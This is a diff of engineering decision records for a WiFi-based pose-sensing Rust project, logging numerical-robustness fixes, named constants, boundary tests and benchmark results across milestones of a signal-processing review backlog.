 *ADR authored with research support from `ruflo-goals:deep-researcher` (2026-05-30).
  Implementation progress tracked by `ruflo-goals:horizon-tracker`.
- OccWorld integration basis: ADR-147. Next: ADR-149 (Cosmos WFM offline data generation).*
+ OccWorld integration basis: ADR-147. Next: ADR-171 (Cosmos WFM offline data generation; renumbered from ADR-149).*

docs/adr/ADR-151-room-calibration-specialist-training.md

@@ -253,6 +253,54 @@ Validation per CLAUDE.md: `cargo test --workspace --no-default-features` green;
 
 ---
 
+## 6. Review notes
+
+### 6.1 Correctness + security review (2026-06-14)
+
+Beyond-SOTA correctness+security review of `wifi-densepose-calibration` (this
+ADR's pipeline), un-covered by the ADR-154–159 sweep.
+
+**Finding (FIXED) — NaN-poisoning of the feature path (numerical / fail-closed).**
+`Features::from_series` — the carrier for both live inference and training-anchor
+extraction — computed `mean`/`variance`/`motion` over the raw scalar series with
+no non-finite guard. A single `NaN`/`±inf` sample (corrupt CSI frame) yielded
+`mean=NaN, variance=NaN` and an all-`NaN` prototype embedding. Persisted into a
+`PresenceSpecialist::threshold`/`empty_mean` at train time, the `NaN` **silently
+disabled presence detection** for the bank's lifetime (every `>` / `|·|`
+comparison against `NaN` is false → always reads *absent*, confidence 0), with no
+error — and an asymmetry against the rigorously NaN-guarded `geometry_embedding`.
+Fixed at the production boundary: non-finite samples are dropped (a corrupt frame
+counts as no frame), an all-non-finite series degrades to `Features::ZERO` like
+the empty series. Value-identical for all-finite input (full-loop + extract tests
+unchanged); pinned by `non_finite_samples_do_not_poison_features` and
+`all_non_finite_series_is_zero` (both fail on the old code).
+
+**Clean dimensions (evidence, no invented issues).**
+- *File/path handling:* the crate performs **zero** file/path I/O (no
+  `std::fs`/`Path`/`File`/`read`/`write` in `src/`; only in-memory `serde_json`).
+  Path-traversal / unbounded-read / artifact-path handling live entirely in the
+  `wifi-densepose-cli` consumer (`room.rs`), outside this crate's boundary.
+- *Untrusted-load:* `SpecialistBank::from_json` shape-validates via serde
+  (malformed → `CalibrationError::Serde`); banks are local-first (invariant B),
+  never network-received. A well-formed bank with adversarial numerics is trusted
+  as-is — acceptable under the local-first threat model; a validate-on-load
+  defense-in-depth pass is a possible future hardening, not a present bug.
+- *Receipt/hash integrity:* the crate emits no hash/receipt/witness/signature, so
+  the unframed-concatenation bug class (cf. the engine `witness_of` fix) is
+  structurally absent.
+- *Other numerical paths:* `geometry_embedding` sanitizes every input and sweeps
+  to finite; presence/restlessness/anomaly divisions are `.max(1e-3)`-guarded;
+  `autocorr_dominant` guards `r0`, short signals, and empty bands; `train` rejects
+  empty anchors; anomaly requires ≥2 anchors.
+
+De-magicked the bare specialist threshold literals (breathing/heartbeat default
+min-scores, anomaly outlier-spread multiple + label cutoff) into named documented
+consts, value-identical, pinned by const-equality tests. Tests
+**58→62 unit + 1 integration, 0 failed**; Python deterministic proof unchanged
+(off the signal proof path).
+
+---
+
 ## 5. Summary
 
 > Big models understand the world. Small ruVector models understand *your room*.

docs/adr/ADR-154-signal-dsp-beyond-sota.md

@@ -7,7 +7,7 @@
 | **Deciders** | ruv |
 | **Codebase target** | `wifi-densepose-signal` (`ruvsense/`, `features.rs`, `csi_processor.rs`, `spectrogram.rs`, `bvp.rs`), benches, docs |
 | **Relates to** | ADR-134 (CIR sparse recovery), ADR-135 (Empty-Room Baseline), ADR-029/030/032 (Multistatic mesh + security), ADR-152 (WiFi-Pose SOTA 2026 intake), ADR-153 (802.11bf forward-compat) |
-| **Scope** | Milestone 0 of the beyond-SOTA signal/DSP sweep: high-leverage **correctness/security fixes**, two **measured** perf wins, the per-module SOTA landscape with evidence grades, and a prioritized roadmap. **45 review findings are explicitly deferred** (§7 backlog) — nothing is silently dropped. |
+| **Scope** | Milestone 0 of the beyond-SOTA signal/DSP sweep: high-leverage **correctness/security fixes**, two **measured** perf wins, the per-module SOTA landscape with evidence grades, and a prioritized roadmap. **45 review findings were explicitly deferred** (§7 backlog) — **now all addressed across Milestones 0–3** (§7.4 backlog cleared 2026-06-13); nothing was silently dropped. |
 
 ---
 
@@ -195,40 +195,48 @@ The §2–§5 fixes are **ACCEPTED and committed**: dead CIR gate fixed, NaN byp
 - Evaluate the **diffusion CIR prior** (public weights, MEASURED) as an offline quality ceiling — *not* an edge target.
 - Bayesian multi-AP fusion (2512.02462, CLAIMED) — comparison only, pending released code.
 
-### 7.4 Deferred Milestone-0 review findings (the ~45 not fixed here — explicit backlog)
+### 7.4 Deferred Milestone-0 review findings (explicit backlog)
 
 Catalogued so nothing is silently dropped. Priority: **P1** correctness-adjacent, **P2** perf, **P3** clarity/style.
 
+**Milestone-1 update (2026-06-13):** the **four P1 backlog items** (#1, #9, #10, #13) are now cleared — #1 and #10 **RESOLVED (MEASURED)**, #9 and #13 **RESOLVED-PARTIAL (DATA-GATED:** de-magicked + boundary-tested, operating values unchanged**)**. Each fix is pinned by a regression test that fails on the old behaviour (commits `fd32f094a`, `4a9f2bcf4`, `d672fa602`, `5193f6369`); workspace `--no-default-features` green, Python proof unchanged (bit-exact).
+
+**Milestone-2 update (2026-06-13):** the **bench-first P2 perf subset** (#5, #6, #7, #8, #20) and the **three missing boundary tests** (#14, #16, #19) are now cleared — ~36 P2/P3 items remained deferred *(now cleared — see the Milestone-3 update)*. PROOF discipline (§0): every perf item was **benched before being touched** — committed in `benches/dsp_perf_bench.rs` (criterion, this Windows box). Only **#20** proved hot and was optimized; **#5/#6/#7** are committed **MEASURED-NULLs** (benched, not hot, left as-is for clarity — exactly the §5.1 "already amortized" pattern); **#8** is **MEASUREMENT-ONLY** but its `eigenvalue`/BLAS backend won't build on this Windows host, so its µs cost must come from a Linux/BLAS box (recorded, not fabricated). Commits `e839fa8f1` (#20 fix), `02e5dd13a` (#14/#16/#19 tests), `aad9464f0` (benches). Workspace `--no-default-features` green; Python proof unchanged (#20 is bit-identical, off the proof path).
+
+**Milestone-3 update (2026-06-13):** the lumped **row #21–45** P3 backlog — *"remaining clarity/doc/magic-constant/missing-boundary-test findings across `ruvsense/*`, `features.rs`, `motion.rs`"* — is now **cleared, and with it the residual P3 items #2/#12/#17/#18.** Honest enumeration first (`grep`, not the ADR's "21–45" estimate — that was a count, not 25 distinct findings): after M0–M2 the genuinely-bare in-function literals resolved to **22 de-magicked constants across 11 modules** (each → a named, documented **EMPIRICAL-DEFAULT** const that **equals the prior literal exactly**), **6 added boundary/characterization tests**, **~4 doc-only fixes** (no-behaviour-change), and **a handful of agent-flagged "findings" that were NOT real** and are reported as skipped (below). **No operating value or behaviour changed** — every module carries a `*_consts_unchanged_from_literals` pin test and every boundary test pins *current* behaviour, so a future retune is a visible, tested change. Resolution by module: `motion.rs` (**#18** — fusion weights / Doppler+variance+phase scales / confidence weights / adaptive-threshold clamp; 5 tests), `gesture.rs` (**#12** — `euclidean_distance` length-mismatch `debug_assert` documenting the silent-`zip`-truncation caller contract, behaviour-preserving in release; + confidence epsilon; + DTW n=0/m=0 boundary), `longitudinal.rs` (7-day/2σ/3-day/7-day drift thresholds + EMA-α + cosine epsilon; day-6/7 + zero-vector boundaries; the duplicated `>=7` deduped), `cross_room.rs`/`multiband.rs`/`intention.rs`/`hampel.rs` (**#17** — division-guard epsilons `1e-9`/`1e-12`/`1e-10`/`1e-15` + zero-norm/zero-variance/zero-MAD boundaries + the previously-untested `hampel half_window==0` error path + `# Errors` doc), `rf_slam.rs` (`NS_PER_DAY` + `MIGRATION_MIN_SPAN_DAYS` + fixed-map defaults; single-sighting zero-span guard), `attractor_drift.rs` (`METRIC_BUFFER_CAPACITY`/`STABLE_CENTER_WINDOW`; **documented** the implicit `recent.len()>=1` divide-safety; `min_observations` off-by-one boundary), `coherence.rs` (**#9 completion** — the residual bare `1e-6` variance-floor ×4 + default `0.95` decay; floor-effect test), `calibration.rs` (**#2 completion** — `DEFAULT_MIN_FRAMES` deduped across all 4 tier constructors + `AMP_STD_FLOOR`/`MOTION_AMP_Z_THRESHOLD`/`MOTION_PHASE_DRIFT_THRESHOLD`/`SUBTRACT_MIN_NORM`), `fusion_quality.rs` (`CONTRADICTION_PENALTY` 0.8 / bound-halfwidth 0.1; n=0 identity boundary), `temporal_gesture.rs` (confidence epsilon + L2-norm quantization scale). **NOT-REAL / skipped (reported honestly, no churn manufactured):** an agent-flagged `attractor_drift.rs:301` "divide-by-zero" is **unreachable** — the `count < min_observations` guard guarantees `recent.len()>=1` before the `PointAttractor` branch (documented + boundary-tested, **not** guarded, per the no-behaviour-change rule); agent-flagged `gesture.rs` `2.0`/`π·6` motion thresholds **do not exist** in that file (a confusion with `calibration.rs::deviation`); **`features.rs` was deliberately left untouched** (it is on the deterministic Python-proof PSD/Doppler path — its `1e-10` guards already exist and are already correct; doc-only-skipped to protect the bit-exact hash). Commits `c794d1a0c` (motion #18), `adf9ed8e4` (gesture #12), `19f5b6335` (longitudinal), `19e0373c8` (epsilon helpers #17), `c6a09b69a` (rf_slam + attractor_drift), `5a1839f33` (coherence #9 completion), `df25a303e` (calibration #2 completion), `0f931ff2f` (fusion_quality + temporal_gesture). Signal crate lib `--no-default-features` **476 passed / 0 failed / 1 ignored**; `--no-default-features --features cir` **476 / 0**; workspace `--no-default-features` **3,275 / 0 failed** (single clean run); Python proof **VERDICT: PASS**, hash `f8e76f21…46f7a` **UNCHANGED (bit-exact)**. **§7.4 backlog is now fully cleared — ADR-154's deferred findings are addressed across M0–M3 with nothing silently dropped.**
+
 | # | Module | Finding | Pri | Why deferred |
 |---|--------|---------|-----|--------------|
-| 1 | cir.rs ~937 | `phase_variance` uses **linear** variance on **wrapped** angles (doc says "variance of phase angles") — spuriously inflates near ±π | P1 | Used as the `> TAU` ghost-tap *guard*; a correct circular variance is bounded [0,1] and would need the threshold re-derived. Semantic change — defer with a real recalibration, don't risk a silent gate regression in a perf/correctness pass. |
-| 2 | calibration.rs ~311 | `subtract_in_place` had a vacuous `if active_input {ki} else {ki}` branch implying a full-FFT→bin remap that didn't exist | P3 | **Resolved here** (branch removed, sequential-convention documented to match the sibling `extract_first_stream`). Listed for visibility — behavior unchanged. |
+| 1 | cir.rs ~937 | `phase_variance` uses **linear** variance on **wrapped** angles (doc says "variance of phase angles") — spuriously inflates near ±π | P1 | **RESOLVED (`fd32f094a`) — metric MEASURED, threshold DATA-GATED.** Replaced with Mardia's circular variance V = 1 − R̄ ∈ **[0,1]**, invariant to the cluster's position on the circle (branch-cut artefact gone). Guard re-derived against the bounded metric via named const `GHOST_TAP_CIRCULAR_VARIANCE_MAX = 0.99` (fires only when R̄ ≤ 0.01 — essentially uniform phase). The **threshold value is DATA-GATED**: a clean single-path ramp also sweeps the circle, so V alone can't separate clean from unsanitized without labelled frames — the default is deliberately conservative (strictly more permissive at the wrap boundary than the buggy linear guard). Fails-on-old: `phase_variance_circular_not_fooled_by_branch_cut` (old linear variance > TAU on wrap-straddling phases while circular V≈0, guard no longer trips), `phase_variance_circular_is_bounded_and_extremal`. |
+| 2 | calibration.rs ~311 | `subtract_in_place` had a vacuous `if active_input {ki} else {ki}` branch implying a full-FFT→bin remap that didn't exist | P3 | **Resolved (M0 + M3 `df25a303e`).** Branch removed in M0 (sequential-convention documented). M3 completed the de-magic: `DEFAULT_MIN_FRAMES=600` deduped across all four tier constructors, plus `AMP_STD_FLOOR`/`MOTION_AMP_Z_THRESHOLD`/`MOTION_PHASE_DRIFT_THRESHOLD`/`SUBTRACT_MIN_NORM` named + `calibration_consts_unchanged_from_literals`. Behaviour unchanged. |
 | 3 | spectrogram.rs / bvp.rs | FFT planner built once-per-call (already amortized across frames) | P2 | Marginal vs the per-frame PSD site; cache if these become hot. |
 | 4 | features.rs ~347 | Doppler FFT planner planned once per call, reused across subcarriers | P2 | Already amortized within the call. |
-| 5 | multistatic.rs | `node_attention_weights` recomputes consensus/softmax each call; no SIMD | P2 | Needs a bench before touching; not obviously hot. |
-| 6 | tomography.rs | ISTA L1 solver re-allocates voxel buffers per solve | P2 | Bench first. |
-| 7 | pose_tracker.rs | Kalman gain matrices reallocated per update | P2 | Bench first. |
-| 8 | field_model.rs | SVD recomputed on every perturbation extract | P2 | Incremental SVD is a real project, not a micro-fix. |
-| 9 | coherence.rs / coherence_gate.rs | Z-score thresholds are magic constants, untested at boundaries | P1 | Needs labelled data to set defensible thresholds. |
-| 10 | longitudinal.rs | Welford update not numerically guarded for n=0 | P1 | Add `n>=1` guard + test (same family as §4). |
+| 5 | multistatic.rs | `node_attention_weights` recomputes consensus/softmax each call; no SIMD | P2 | **MEASURED-NULL (`aad9464f0`) — benched, not hot, left as-is.** `multistatic_attention/weights`: **181 ns** (2 nodes) … **848 ns** (8 nodes) @ 56 subcarriers — sub-µs, no hot-path allocation. A precompute/SIMD rewrite buys nothing measurable at the realistic 2–8 node fan-in; the cosine/softmax cost is dwarfed by the surrounding fusion + per-frame FFT. Bench `multistatic_attention` in `dsp_perf_bench.rs`. |
+| 6 | tomography.rs | ISTA L1 solver re-allocates voxel buffers per solve | P2 | **MEASURED-NULL (`aad9464f0`) — benched, not hot, left as-is.** A full 50-iteration `reconstruct` (256 voxels): **47.5 µs** (16 links) / **60.4 µs** (32 links). The two voxel buffers (`x`, `gradient`; ~4 KB) are already allocated *once* per `reconstruct()` and `.fill`-reused across iterations — the per-solve alloc is a negligible fraction of the O(iters·links·voxels) inner product. Reusing scratch across *calls* would force `reconstruct(&self)`→`&mut self` (API break) for no measurable gain. Bench `tomography_reconstruct`. |
+| 7 | pose_tracker.rs | Kalman gain matrices reallocated per update | P2 | **MEASURED-NULL (`aad9464f0`) — benched, not hot, left as-is.** A Kalman predict+update cycle: **150 ns** (17 keypoints) / **2.82 µs** (170). The "gain matrices" (`s:[f32;3]`, `k:[[f32;3];6]`) are fixed-size **stack** arrays, *not* heap — there is no per-update allocation to reuse; the compiler keeps them in registers/stack. Bench `pose_kalman_update`. |
+| 8 | field_model.rs | SVD recomputed on every perturbation extract | P2 | **MEASUREMENT-ONLY (`aad9464f0`) — BLAS-gated, not measurable on this host.** Correction: `extract_perturbation` does **not** recompute the SVD — it projects against the cached `modes` from `finalize_calibration`. The real per-call eigendecomposition is in the `eigenvalue`-feature `estimate_occupancy` (`cov.eigh()` on a 56×56 covariance, an O(n³)≈175k-flop symmetric eigensolve + O(n²·frames) covariance build, run per call). The bench (`dsp_perf_bench`'s `eig` module) is committed, but `openblas-src` **fails to build on this Windows box** ("Non-vcpkg builds are not supported on Windows" — the very reason the project gate runs `--no-default-features`), so a measured µs number must come from a Linux/BLAS host; **not estimated/fabricated here.** Incremental SVD remains a sized future project, not a micro-fix. |
+| 9 | coherence.rs / coherence_gate.rs | Z-score thresholds are magic constants, untested at boundaries | P1 | **RESOLVED-PARTIAL (`5193f6369`) — DATA-GATED.** De-magicked `classify_drift` (`DRIFT_STABLE_SCORE=0.85`, `DRIFT_STEP_CHANGE_MAX_STALE=10`) and the `coherence_gate.rs` defaults (`DEFAULT_ACCEPT_THRESHOLD`/`…REJECT…`/`…MAX_STALE_FRAMES`/`…PREDICT_ONLY_NOISE`) into named, documented consts marked EMPIRICAL DEFAULT; added at/just-below/just-above boundary tests (`classify_drift_*_boundary`) + `*_consts_unchanged_from_literals`. **Operating values explicitly NOT changed** — defensible values still need labelled stable/drifting traces. The gate already exposed these via `GatePolicyConfig` (config seam). |
+| 10 | longitudinal.rs | Welford update not numerically guarded for n=0 | P1 | **RESOLVED (`4a9f2bcf4`) — MEASURED.** The shared `WelfordStats` (`field_model.rs`, consumed by longitudinal.rs) `count < 2` guards already prevent the n=0 NaN / n=1 div0 / `(count−1)` underflow, but the boundary was untested. Added `welford_finite_at_n0_and_n1` (finite + documented 0.0 sentinel at n=0/n=1). Fails-on-old proof: removing the `sample_variance` guard makes the test panic with "attempt to subtract with overflow" at the `(count − 1)` underflow. |
 | 11 | cross_room.rs | Fingerprint hash collisions unhandled | P2 | Low collision prob; needs design. |
-| 12 | gesture.rs | `euclidean_distance` no length-mismatch guard | P3 | Caller-enforced; add `debug_assert`. |
-| 13 | adversarial.rs | Gini/consistency thresholds are magic constants | P1 | Same labelled-data dependency as #9. |
-| 14 | cir.rs | `fft_operator` path changes the witness hash (documented) — no test that it's *numerically close* to dense | P2 | Add a tolerance test. |
+| 12 | gesture.rs | `euclidean_distance` no length-mismatch guard | P3 | **RESOLVED (M3 `adf9ed8e4`).** Added a `debug_assert_eq!` on the two slice lengths + a doc block stating the same-`feature_dim` caller contract and that `zip()` silently truncates on a mismatch. Behaviour-preserving (no-op in release, the operating path). Also de-magicked the confidence `1e-10` epsilon and pinned the DTW `n=0`/`m=0` boundary (`dtw_empty_sequence_is_infinite`). |
+| 13 | adversarial.rs | Gini/consistency thresholds are magic constants | P1 | **RESOLVED-PARTIAL (`d672fa602`) — DATA-GATED.** Lifted the bare literals in `check`/`check_consistency` (`FIELD_MODEL_GINI_VIOLATION=0.8`, `ENERGY_RATIO_HIGH_VIOLATION=2.0`, `ENERGY_RATIO_LOW_VIOLATION=0.1`, `CONSISTENCY_ACTIVE_FRACTION_OF_MEAN=0.1`, `SCORE_W_*`) into named, documented consts marked EMPIRICAL DEFAULT; added at/just-below/just-above boundary tests (`energy_ratio_high_boundary`, `energy_ratio_low_boundary`, `field_model_gini_boundary`, `consistency_active_fraction_boundary`) + `tuning_consts_unchanged_from_literals`. **Operating values explicitly NOT changed** — defensible values still need labelled spoofed/clean CSI (Wi-Spoof, §6.2/§7.3). Bumping a const fails a boundary test (verified). |
+| 14 | cir.rs | `fft_operator` path changes the witness hash (documented) — no test that it's *numerically close* to dense | P2 | **RESOLVED (`02e5dd13a`) — tolerance test added.** `fft_operator_within_tolerance_of_dense_canonical56` pins the **full `Cir` output** of the FFT path within a *documented* relative tolerance of the dense path on the production **canonical-56** config across τ ∈ {20,50,90} ns: every tap within `1e-2·|dominant|`, identical `dominant_tap_idx`, `active_tap_count`, `ranging_valid`, `dominant_tap_ratio` within `1e-2`, `rms_delay_spread` within `1e-2` rel. A regression that lets the FFT path drift (scaling/Φ-column bug) now fails here instead of silently corrupting a downstream witness. Extends the existing HT20/single-τ `fft_estimate_matches_dense_dominant_tap`. |
 | 15 | multistatic.rs | `cir_gate_coherence` only estimates the **first** node/channel; multi-node CIR consensus unused | P2 | Design item (which node's CIR is authoritative?). |
-| 16 | phase_align.rs | Iterative LO offset estimation has no convergence cap test | P2 | Add iteration-cap test. |
-| 17 | hampel.rs | Window edge handling at series boundaries | P3 | Cosmetic. |
-| 18 | motion.rs | Threshold constants undocumented | P3 | Doc-only. |
-| 19 | csi_ratio.rs | Division guard relies on `1e-12` epsilon; no test | P2 | Add boundary test. |
-| 20 | spectrogram.rs | `compute_multi_subcarrier_spectrogram` re-plans per subcarrier via `compute_spectrogram` | P2 | Hoist the planner (relates to #3). |
-| 21–45 | (assorted) | Remaining clarity/doc/magic-constant/missing-boundary-test findings across `ruvsense/*`, `features.rs`, `motion.rs` | P3 | Bulk-addressable in a dedicated "test-the-boundaries + de-magic-constant" follow-up; not high-leverage individually. |
+| 16 | phase_align.rs | Iterative LO offset estimation has no convergence cap test | P2 | **RESOLVED (`02e5dd13a`) — cap test added.** `refinement_terminates_at_iteration_cap_when_not_converging` forces non-convergence (`tolerance = 0.0`, unreachable since `max_update ≥ 0`) and asserts the loop runs **exactly `max_iterations`** then returns — proving the cap (not convergence) bounds the loop, so a non-converging input can never spin forever. Companion `refinement_converges_before_cap_on_easy_input` proves the cap is an upper bound, not the only exit. Internal-only refactor: `estimate_phase_offsets` still returns the identical offset vector; a `…_counted` core surfaces the iteration count for the test. |
+| 17 | hampel.rs | Window edge handling at series boundaries | P3 | **RESOLVED (M3 `19e0373c8`).** De-magicked the zero-MAD `1e-15` epsilon (`ZERO_MAD_EPSILON`), documented `hampel_filter`'s `# Errors`, and added the previously-untested `half_window == 0` error-path boundary (`test_zero_half_window_error`) + a zero-MAD constant-window characterization (`test_zero_mad_constant_window`). Window-edge handling itself is correct (`saturating_sub`/`.min(n)`); it is now pinned. |
+| 18 | motion.rs | Threshold constants undocumented | P3 | **RESOLVED (M3 `c794d1a0c`).** Lifted the fusion weights, Doppler/variance/phase full-scale divisors, confidence-indicator weights, and adaptive-threshold clamp into named, documented EMPIRICAL-DEFAULT consts (`motion_tuning_consts_unchanged_from_literals` pins them) + small-`n` boundary tests (correlation `n<2`, temporal-variance `len<2`, adaptive-threshold history 9-vs-10, Doppler full-scale saturation). Doc-only-plus: values unchanged. |
+| 19 | csi_ratio.rs | Division guard relies on `1e-12` epsilon; no test | P2 | **RESOLVED (`02e5dd13a`) — boundary test added.** Finding clarification: `csi_ratio.rs` implements the CSI *ratio model* as the **conjugate product** `H_i·conj(H_j)` (SpotFi/IndoTrack) — there is **no division**, hence no literal `1e-12` epsilon; the classic `H_i/H_j` ratio (which a `1e-12` guard protects) is deliberately avoided. `ratio_finite_at_and_below_1e_12_epsilon` pins the property the finding cares about: at and below the `1e-12` target magnitude (and at exact zero — where a division ratio is ±inf/NaN) the conjugate-product output is **finite**, exactly the conjugate product (bit-exact), collapses toward zero (the physically correct "no path" answer), and stays finite through `ratio_to_amplitude_phase`. |
+| 20 | spectrogram.rs | `compute_multi_subcarrier_spectrogram` re-plans per subcarrier via `compute_spectrogram` | P2 | **MEASURED-HOT (`e839fa8f1`) — optimized, bit-identical.** Hoisted the FFT plan + window out of the per-subcarrier loop (new `compute_spectrogram_with_plan` core). **56-subcarrier** multi-spectrogram: **467.88 µs → 254.75 µs = 1.84×** (window 128); **627.27 µs → 448.39 µs = 1.40×** (window 256). The removed cost is the per-subcarrier `FftPlanner` re-plan (~1.86 µs/plan @ w128 × 56). Bit-identical (`multi_subcarrier_hoisted_plan_bit_identical`, `f64::to_bits` across all 4 windows × {power,magnitude}). The most likely real win predicted by the §7.4 intro — confirmed. (Relates to #3, which stays deferred: `spectrogram.rs`/`bvp.rs` single-signal callers already plan once-per-call.) |
+| 21–45 | (assorted) | Remaining clarity/doc/magic-constant/missing-boundary-test findings across `ruvsense/*`, `features.rs`, `motion.rs` | P3 | **RESOLVED (Milestone-3, 2026-06-13).** Enumerated honestly (the "21–45" was an estimate, not 25 distinct findings): **22 bare in-function literals de-magicked → named EMPIRICAL-DEFAULT consts (each == prior literal, pinned)**, **6 boundary/characterization tests added**, **~4 doc-only fixes**, across 11 modules (`motion`, `gesture`, `longitudinal`, `cross_room`, `multiband`, `intention`, `hampel`, `rf_slam`, `attractor_drift`, `coherence`, `calibration`, `fusion_quality`, `temporal_gesture`). **No operating value changed.** **Skipped-as-not-real (reported, no churn):** `attractor_drift.rs:301` "divide-by-zero" is unreachable (guarded by `count < min_observations`) → documented + boundary-tested, not guarded; agent-flagged `gesture.rs` `2.0`/`π·6` motion thresholds don't exist there (confusion with `calibration::deviation`); **`features.rs` left untouched** (on the deterministic Python-proof path; its `1e-10` guards already exist & are correct — doc-only-skipped to keep the `f8e76f21…` hash bit-exact). See the Milestone-3 update note above and the per-row #2/#12/#17/#18 entries. |
 
-> **Horizon-ledger one-liner.** Milestone-0 DONE: dead CIR gate (FIXED+proved), NaN/inf adversarial bypass (FIXED+proved), divide-by-(n−1) window trio (FIXED+proved), calibration dead-branch (FIXED), PSD FFT-planner cache (MEASURED), DTW band (MEASURED). DEFERRED to follow-up: the ~45 findings in §7.4 (P1: phase_variance circular bug #1, Welford guard #10, threshold magic-constants #9/#13; P2/P3: the rest) — none silently dropped.
+> **Horizon-ledger one-liner.** Milestone-0 DONE: dead CIR gate (FIXED+proved), NaN/inf adversarial bypass (FIXED+proved), divide-by-(n−1) window trio (FIXED+proved), calibration dead-branch (FIXED), PSD FFT-planner cache (MEASURED), DTW band (MEASURED). **Milestone-1 DONE (2026-06-13): all four P1 backlog items cleared — circular phase variance #1 (RESOLVED/MEASURED metric, DATA-GATED threshold), Welford n=0 guard #10 (RESOLVED/MEASURED), threshold magic-constants #9 & #13 (RESOLVED-PARTIAL/DATA-GATED — de-magicked + boundary-tested, values unchanged).** **Milestone-2 DONE (2026-06-13): bench-first P2 perf subset + missing boundary tests cleared — spectrogram per-subcarrier FFT re-plan #20 (MEASURED-HOT, 1.40–1.84×, bit-identical); attention/tomography/Kalman #5/#6/#7 (MEASURED-NULL — benched, not hot, left as-is); field_model eigendecompose #8 (MEASUREMENT-ONLY, BLAS un-buildable on this Windows host, number deferred to a BLAS box, NOT fabricated); fft_operator tolerance #14, phase-align convergence-cap #16, csi-ratio epsilon #19 (RESOLVED, tests added).** **Milestone-3 DONE (2026-06-13): the lumped §7.4 row #21–45 P3 backlog cleared, and with it residual P3 items #2/#12/#17/#18 — 22 magic constants de-magicked into named EMPIRICAL-DEFAULT consts (each pinned == prior literal) + 6 boundary/characterization tests across 11 modules; ~4 doc-only; not-real findings (unreachable attractor_drift div0, non-existent gesture thresholds, proof-path features.rs) reported + skipped, no churn; no operating value changed; workspace 3,275/0, Python proof bit-exact `f8e76f21…`.** **§7.4 deferred backlog is now FULLY CLEARED across M0–M3 — nothing silently dropped.**
+
+> **Sibling-crate sweep extension (2026-06-14) — `wifi-densepose-geo` + `wifi-densepose-pointcloud`.** The ADR-154-class numerical-robustness sweep (non-finite-input-poisons-persistent-state + divide-by-zero / asin-domain / degenerate-geometry) was extended to two crates *outside* this ADR's signal scope. **Two real `geo` bugs FIXED, each fails-on-old-pinned:** `terrain.rs::parse_hgt` usize-underflow panic on empty/sub-2x2 SRTM data (`1.0/(side-1)` → panic in debug / inf `cell_size_deg` poisoning `ElevationGrid::get` in release — a truncated download / 404 HTML body reaches it; now `bail!`s when `side < 2`); `coord.rs::haversine` `asin(>1)→NaN` for near-antipodal points (`h` rounds to `1.0+4e-16`; clamped to `[0,1]`). The ±90° pole `cos(lat)=0` ENU singularity is pinned no-panic without changing the transform. **`pointcloud` is confirmed-robust (no manufactured finding):** its only persistent auto-accumulating state (`occupancy` EMA + vitals) is fed solely by the integer-rssi/`sqrt`/`atan2` parser (always finite) and is provably self-healing even under an adversarial NaN/inf `CsiFrame` (`motion_score=(NaN/100).min(1.0)→1.0`; breathing `→0→clamp(5,40)→5.0`) — pinned by `nonfinite_frame_does_not_poison_persistent_state` + degenerate-voxel-fusion no-panic tests. `geo` 9→15 lib / 8 integration; `pointcloud` 18→22; 0 failed; workspace green; Python proof bit-exact `f8e76f21…`. See CHANGELOG `[Unreleased] → Fixed`.
 
 ---
 
 ## 8. Consequences
 
 - **Positive:** the ADR-134 CIR gate is alive for the first time in production; the adversarial detector can no longer be NaN-bypassed; three latent divide-by-zero NaN sources are gone; the per-frame PSD path and gesture DTW are measurably faster with bit-identical output; the SOTA landscape and a concrete LISTA-for-CIR roadmap are graded and recorded.
-- **Negative / honest limits:** `canonical56()` models the canonical grid as a contiguous 56-tone band — a reasonable physical interpretation of a *resampled* grid, but not a literal hardware tone map; the CIR gate still uses only the first node's CIR (#15); the `phase_variance` circular bug (#1) remains until it can be re-thresholded with data.
+- **Negative / honest limits:** `canonical56()` models the canonical grid as a contiguous 56-tone band — a reasonable physical interpretation of a *resampled* grid, but not a literal hardware tone map; the CIR gate still uses only the first node's CIR (#15). The `phase_variance` **metric** is now correct (Mardia circular variance, Milestone-1 #1), so the branch-cut false-trip is gone — but its ghost-tap **threshold** (`GHOST_TAP_CIRCULAR_VARIANCE_MAX = 0.99`) is a conservative DATA-GATED default, not a calibrated operating point, and still awaits labelled sanitized/unsanitized frames to tune. Likewise the de-magicked coherence/adversarial thresholds (#9/#13) keep their pre-existing empirical values pending labelled calibration.
 - **Neutral:** no public API removed; `with_cir_ht20()` kept (warned); files stay scoped; new bench is additive.

docs/adr/ADR-155-nn-training-beyond-sota.md

@@ -187,11 +187,66 @@ The gap review surfaced ~60 findings; this milestone scoped to the provable inte
 - **GraphPose-Fi graph decoder** — build the §5 top candidate (ACCEPTED-future, not built).
 - **ONNX INT4** quantization; **CSI-JEPA vs MAE** A/B; the rest of the §5 roadmap.
 - **ONNX read-lock concurrency win** — blocked on an `ort` release exposing `&self` `Session::run` (§4.2); harness already committed.
-- **native-conv naive-loop** perf rewrite (§4).
-- **`rf_encoder.rs` `assert_eq!`-on-checkpoint** and any other **tch-gated** panic-on-input sites — require a libtorch host to compile/verify (`model.rs` `amp_fc1` unbounded alloc is *indirectly* guarded by the new `config.validate()` upper bounds, but a direct guard + test is deferred).
-- **`sensing-server/training_api.rs` PCK** — unify the live-server torso-height PCK with `pck_canonical` (crosses the service + tch boundary).
-- **`test_metrics.rs` reference kernels** — the integration test's local `compute_pck`/`compute_oks` are independent reference impls (not production); fold them onto the canonical definition.
-- The remaining ~40 lower-severity review findings (style, micro-opt, doc) from the NN/training gap review.
+- ~~**native-conv naive-loop** perf rewrite (§4).~~ — **RESOLVED in Milestone-2 (see §8.2): bench-first → MEASURED-INCONCLUSIVE, no perf change shipped.**
+- ~~**`rf_encoder.rs` `assert_eq!`-on-checkpoint**~~ — **RESOLVED in Milestone-2 (see §8.2): a pure-Rust fallible `LinearHead::try_new` guard was added.** Any genuine **tch-gated** panic-on-input sites remain deferred — they require a libtorch host to compile/verify (`model.rs` `amp_fc1` unbounded alloc is *indirectly* guarded by the new `config.validate()` upper bounds, but a direct guard + test is deferred).
+- ~~**`sensing-server/training_api.rs` PCK**~~ — **RESOLVED in Milestone-1b (see §8.1, Goal C).** Relabelled (not unified) — and the audit found the *real* live divergence is in `trainer.rs`, not the orphaned `training_api.rs`.
+- ~~**`test_metrics.rs` reference kernels**~~ — **RESOLVED in Milestone-1b (see §8.1, Goal B).** Canonical core hoisted to an un-gated module; the integration test now validates the production functions against hand-computed fixtures + a differential cross-check.
